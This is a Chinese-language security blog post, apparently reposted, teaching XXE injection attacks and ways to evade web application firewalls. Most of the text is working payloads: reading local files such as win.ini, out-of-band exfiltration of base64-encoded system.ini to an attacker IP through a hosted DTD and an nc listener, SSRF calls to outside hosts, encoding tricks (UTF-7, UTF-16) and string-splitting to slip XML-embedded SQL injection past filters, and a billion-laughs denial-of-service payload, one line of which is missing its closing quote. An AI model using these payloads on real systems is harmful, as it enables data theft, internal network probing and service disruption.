XXE的基本利用手法及绕过

admin 2025年2月20日23:42:06评论14 views字数 4030阅读13分26秒阅读模式

https://mp.weixin.qq.com/s/Kr2o-sSnAkSoyKRpjjK2yg

https://www.anquanke.com/post/id/209826

一、简单介绍

当目标运行我们引用外部实体时,可通过构造恶意数据,执行任意文件读取,内网端口探测,攻击内网,甚至命令执行——安装了expect扩展。
XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD
XXE的基本利用手法及绕过
1、开头必须声明为XML    <?xml version="1.0"?>  
2、第二行为<!DOCTYPE 根元素 [元素声明]>  
例如 <!DOCTYPE NOTE //声明此文档为NOTE类型
<!DOCTYPE ANY //也可以为ANY
<!DOCTYPE ROOT//ROOT之类
3、DTD有内外引用两种方式
1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>   PUBLIC也是可以的,和SYSTEM一样
DTD的实体声明有三种方式
(1)内部实体声明
<!ENTITY 实体名称 "实体的值">
例如:<!ELEMENT note (message+)>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
例如: <!ENTITY  foo  SYSTEM "file:///etc/passwd">
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
例如:
<!ENTITY  %remote  SYSTEM
 "http://xxxxx:8080/xxe.xml">

二、基础的XXEpyaload

burp搜索XML看是否存在相关XML字段
或自己修改content-type为 application/xml Content-type: text/xml

1、盲探测

向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">
]>
<root>&Quan;</root>

XXE的基本利用手法及绕过

XXE的基本利用手法及绕过

2、有回显的读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file PUBLIC "data" "file:///c:/windows/win.ini">
]>
<user><username>&file;</username><password>xxxx</password></user>

注意看,此处有回显是因为把&file;引入到了username的地方,而username原本的地方就是有回显的。

XXE的基本利用手法及绕过

3、无回显的读取文件

1、在VPS上创建文件xxe.dtd  内容为如下

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xx.156.10.245:22222?p=%file;'>">

XXE的基本利用手法及绕过

2、开启端口python  -m  SimpleHTTPServer 11111

3、开启nc -lvvp  22222

4、在存在XXE漏洞的网站输入payload

5、发送post包如下

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://xx.156.10.245:11111/xxe.dtd">
%remote;%int;%send;
]>

发送可以成功读取ini文件

XXE的基本利用手法及绕过XXE的基本利用手法及绕过

直接回显ini

XXE的基本利用手法及绕过

三、bypass

开启一个环境,使用payload测试,只要能解析即可达到目的,这里的环境就不多说了,随意的XXE靶场即可

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://81.x.x.47:1234/d">
]>
<reset>
&ssrf;
</reset>

这是没有经过混淆的,success

XXE的基本利用手法及绕过

1)垃圾数据bypasswaf

XXE的基本利用手法及绕过

可以是这种没用的属性,也可以是很多空格,换行之类的

<?xml version="1.0" encoding="utf-8" xxxxxxxxxxxxxxxxxx a="adasdasddddddddddddddddddddddddddsxxxxxxxxdddddddddddddddddddddddddddddddddddd"

asdasdasdasd

?>
<!DOCTYPE note[
<!ENTITY ssrf SYSTEM "http://81.68.xx.xx:1234/lajishuju222">
]>
<reset>
&ssrf;
</reset>

XXE的基本利用手法及绕过

2)字符编码绕过

iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件

UTF7

<?xml version="1.0" encoding="utf-7"?>

直接转换修改8为7,内容不用做任何改变

XXE的基本利用手法及绕过

真正的utf7

<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE note+AFs
+ADwAIQ-ENTITY ssrf SYSTEM +ACI-http://81.68.xx.xx:1234/utf777+ACIAPg
+AF0APg
+ADw-reset+AD4
+ACY-ssrf+ADs
+ADw-/reset+AD4
+ADw-a+AD4
+ADw-foo+AD4-foo1 foo2+ADw-/foo+AD4APA-foofoo/+AD4
+ADw-/a+AD4

XXE的基本利用手法及绕过

ISO-8859-1

<?xml version="1.0" encoding="ISO-8859-1"?>

直接修改encoding也能解析

XXE的基本利用手法及绕过

UTF16

UTF16会将每一个字符前面添加上00,因此如果你直接复制粘贴是不行的,需要使用burp的 paste file的功能

直接使用Linux进行转换即可iconv -f utf8 -t utf16 1.xml>exp.xml  

这个测试暂时失败,也不知道哪里有了问题,我用的php环境

https://mohemiv.com/tags/xxe/

2)字符串逻辑分割Bypass

这里指的是XXE里面带有的字符串被拦截的情况

1、使用CDATA标签进行字符串分割:<![CDATA[o]]>

<?xml version="1.0" encoding="UTF-8"?> 
<root>
<test att="foo">
"uni<![CDATA[o]]>n select 1 -- -
</test>
</root>

2、注释分割:<!--foo-->

<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<!--foo-->on select 1 -- -
</test>
</root>

3、PI标签分割<?foo1 foo2 ?>

<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<?foo1 foo2 ?>on select 1 -- -
</test>
</root>

4、额外标签

<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">
" uni<foo>foo1 foo2</foo><foofoo/>on select 1 -- -
</test>
</root>

如下图所示

XXE的基本利用手法及绕过

XXE的基本利用手法及绕过

3)实体化编码

使用方法同上,当存在xml格式的sql注入Bypass类似情况

XXE的基本利用手法及绕过

DOS测试

这个暂时没有测试成功

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

如果遇到XXE你想用更多的payload

可以看这个

https://github.com/payloadbox/xxe-injection-payload-list

如果觉得公众号看的比较费劲的话,可以关注进行阅读哦

https://www.yuque.com/iceqaq/ff6ffl/ohm9nl

原文始发于微信公众号(zz学安全):XXE的基本利用手法及绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE的基本利用手法及绕过https://cn-sec.com/archives/1016938.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息